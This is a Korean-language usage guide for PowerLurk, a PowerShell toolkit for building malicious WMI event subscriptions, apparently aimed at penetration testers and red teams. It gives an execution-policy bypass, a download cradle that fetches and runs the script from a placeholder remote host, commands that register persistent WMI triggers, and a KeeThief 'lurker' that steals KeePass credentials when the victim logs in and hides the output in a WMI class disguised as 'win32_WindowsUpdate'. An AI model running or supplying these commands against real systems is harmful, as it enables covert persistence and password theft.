
PowerShell을 사용한 악성 WMI 이벤트
PowerLurk는 악성 WMI Event Subscription을 구축하기 위한 PowerShell 도구 세트입니다. 목표는 침투 테스트나 레드 팀 작업 중에 WMI 이벤트를 더 쉽게 실행할 수 있도록 하는 것입니다. 자세한 내용은 제 게시물 Creeping on Users with WMI Events: Introducing PowerLurk를 참조하세요: https://pentestarmoury.com/2016/07/13/151/
PowerLurk를 사용하려면 PowerLurk.ps1 모듈을 PowerShell 인스턴스로 가져와야 합니다. 이 작업은 몇 가지 방법으로 수행할 수 있습니다:
로컬에서 가져오기
PS> powershell.exe -NoP -Exec ByPass -C Import-Module c:\\temp\\PowerLurk.ps1
Download Cradle
PS> powershell.exe -NoP -C "IEX (New-Object Net.WebClient).DownloadString('http://<IP>/PowerLurk.ps1'); Get-WmiEvent"
기본적으로 Get-WmiEvent는 WMI에서 모든 __FilterToConsumerBinding 인스턴스와 연결된 __EventFilter, __EventConsumer 인스턴스를 쿼리합니다. 반환된 개체는 Remove-WmiObject로 파이프하여 삭제할 수 있습니다.
이름이 'RedTeamEvent'인 모든 활성 WMI 이벤트 개체 반환
Get-WmiEvent -Name RedTeamEvent
Twitter - @sw4mp_fox 'RedTeamEvent' WMI 이벤트 개체 삭제
Get-WmiEvent -Name RedTeamEvent | Remove-WmiObject
이 cmdlet은 PowerLurk의 핵심입니다. 명령, 스크립트 또는 스크립트 블록을 작업으로, 미리 정의된 트리거를 받아 완전한 기능을 하는 영구 WMI Event Subscription에 필요한 WMI 필터, 소비자 및 FilterToConsumerBinding을 생성합니다. 여러 WMI 이벤트 트리거(필터)가 미리 구성되어 있습니다. 트리거는 -Trigger 매개변수로 지정해야 합니다. 선택할 수 있는 세 가지 소비자는 PermanentCommand, PermanentScript, LocalScriptBlock입니다. 사용 예:
notepad.exe가 시작될 때마다 notepad.exe의 프로세스 ID를 C:\temp\log.txt에 기록
Register-MaliciousWmiEvent -EventName LogNotepad -PermanentCommand “cmd.exe /c echo %ProcessId% >> c:\\temp\\log.txt” -Trigger ProcessStart -ProcessName notepad.exe
악성 WMI 이벤트 정리
Get-WmiEvent -Name LogNotepad | Remove-WmiObject
'keepass' 프로세스가 시작된 후 4분 후에 KeeThief(@Harmj0y의 KeeThief, https://github.com/adaptivethreat/KeeThief 참조)를 실행하는 영구 WMI 이벤트를 생성합니다. 이는 대상이 KeePass 데이터베이스에 로그인할 시간을 제공합니다.
KeeThief 로직과 그 출력은 사용자 정의 WMI 네임스페이스 및 클래스나 레지스트리 값에 저장됩니다. 사용자 정의 WMI 네임스페이스 및 클래스를 선택하면 해당 네임스페이스를 'Everyone'이 원격으로 읽을 수 있도록 공개하는 옵션이 있습니다. 레지스트리 경로 및 값 이름은 관련 스위치를 사용하여 사용자 정의할 수 있지만, 기본값이 설정되어 있으므로 선택 사항입니다. 사용 예:
WMI 클래스 저장소를 사용하여 KeeThiefLurker 이벤트 추가
Add-KeeThiefLurker -EventName KeeThief -WMI
사용자 정의 WMI 클래스 쿼리
Get-WmiObject -Namespace root\software win32_WindowsUpdate -List
WMI 클래스에서 KeeThief 출력 추출
[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($(Get-WmiObject -Namespace root\software win32_WindowsUpdate -List).Properties['Output'].value))
KeeThiefLurker 정리
Remove-KeeThiefLurker -EventName KeeThief -WMI
Twitter - @sw4mp_f0x